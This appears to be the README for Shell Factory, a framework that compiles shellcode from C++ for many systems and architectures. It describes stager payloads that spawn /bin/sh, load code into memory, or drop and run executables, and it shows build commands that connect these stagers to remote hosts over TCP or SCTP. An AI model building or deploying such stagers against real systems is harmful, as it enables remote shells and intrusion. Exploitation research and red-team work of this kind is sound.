Shell Factory is a framework for compiling shellcodes from a C++ source for multiple systems and architectures.
It is composed of multiple parts:
The shellcode is compiled as a single compilation unit with common optimizations to reduce its code size.
The resulting file is supposed to be a single binary blob executable from anywhere in memory, starting at offset 0.
binutils
g++
or clang++
Xcode
command-line toolsPut your shellcode source file in the shellcodes
directory, then compile it with rake <shellcode>
.
For example, create a template file named shellcodes/template.cc
:
#include <factory.h>
#include <pico.h>
using namespace Pico;
SHELLCODE_ENTRY {
Process::exit(0);
}
Then compile it with: rake template
. On a Linux amd64 system, this will generate the files bins/template.elf
and bins/template.x86_64-linux.bin
.
$ objdump -d bins/template.elf
00000000004000b0 <_start>:
4000b0: 31 ff xor %edi,%edi
4000b2: b8 e7 00 00 00 mov $0xe7,%eax
4000b7: 0f 05 syscall
Three generic stager shellcodes are provided in the shellcodes
directory:
shellexec
: runs a standard /bin/sh
shell or any specified command.
memexec
: allocates executable memory, receives data and executes it.
dropexec
: reads data, drops an executable file on the system and executes it.
Channels are an abstraction layer that allows to use different kind of data streams configurable through compilation variables: files, sockets, opened file descriptors.
They are typically used by shellexec
, memexec
and dropexec
to receive and
send data. The default channels used are the standard input/output when none are
specified.
rake shellexec CHANNEL=TCP_CONNECT HOST=192.168.0.2 PORT=2222
rake shellexec CHANNEL=TCP6_LISTEN HOST=::1 PORT=1111
rake memexec CHANNEL=SCTP6_CONNECT HOST=fe80::800:27ff:fe00:0 PORT=3333
Using the CC
variable to select your compiler.
rake shellexec CC=clang++
You will require a cross-compiler and the headers of the system you are targeting.
rake memexec CHANNEL=TCP_LISTEN HOST=0.0.0.0 PORT=1337 TRIPLE=aarch64-linux-gnu
Use the variable SYSROOT
to specify the root of the target filesystem.
The code is by default massively inlined which makes it particularly tedious to
debug. If you encounter a problem, try decreasing the inline level through the
RELAX_INLINE
parameter.
Also, try specifying OUTPUT_DEBUG=1
which will generate an executable file with symbols.
Some parameters can be used to reduce the code size in some circumstances:
NO_ASSERTS=1
: removes any assert checks from the final shellcode
NO_ERROR_CHECKS=1
: removes error checks at system call returns
Do not use format functions (printf
, sprintf
, String::sprintf
, and so
on.) as they will increase your code size significantly.
Avoid using the C++ new
operator as it will instanciate a custom heap which
constitutes a relatively large piece of code.
x86 | amd64 | ARM | Aarch64 | PowerPC | SH4 | MIPS | |
---|---|---|---|---|---|---|---|
Linux | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ∼ |
FreeBSD | ✓ | ∼ | |||||
OS X | ∼ |
Items marked as ∼ are a work in progress and are not fully implemented yet.
Passing system call arguments by stack if not yet fully supported.
No Windows support yet.
Resulting shellcodes will not enforce any specific charset and may contain null bytes. You will need to use a shellcode encoder for that purpose.